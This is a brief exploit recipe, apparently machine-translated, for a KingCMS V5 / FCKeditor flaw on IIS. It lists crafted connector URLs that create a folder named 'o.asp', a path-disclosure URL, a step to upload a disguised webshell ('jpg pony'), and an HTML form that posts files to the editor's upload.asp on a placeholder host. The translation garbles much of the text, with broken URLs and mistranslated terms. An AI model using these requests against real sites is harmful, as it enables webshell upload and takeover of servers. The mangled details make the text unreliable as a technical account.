KINGCMS V5 IIS Parsing Vulnerability

Default

Asp/connector. asp? Command = CreateFolder & Type = Image & CurrentFolder =/o. asp & NewFolderName = o. asp "> www.xx.com/admin/system/editor/fckeditorboyisx/editor/filemanager/connectors/asp/connectorasp? Command = CreateFolder & Type = Image & CurrentFolder =/o. asp & NewFolderName = o. asp

Forcibly create a folder and a burst path

Html? Type = Image & Connector =.../connectors/asp/connector. asp "> www.xx.com/admin/system/editor/FCKeditorboyisx/editor/filemanager/browser/default/browser.html? Type = Image & Connector =.../connectors/asp/connector. asp

Upload jpg pony

One additional EXP is sent. Upload asp; save jpg as htm:

 

<Form id = "frmUpload" enctype = "multipart/form-data" action = "http://www.xx.com/admin/system/editor/FCKeditorboyisx/editor/filemanager/connectors/asp/upload.asp? Type = Image "method =" post ">
Upload a new file: <br>
<Input type = "file" name = "NewFile" size = "50"> <br>
<Input id = "btnUpload" type = "submit" value = "Upload">
</Form>

View the source code after uploading.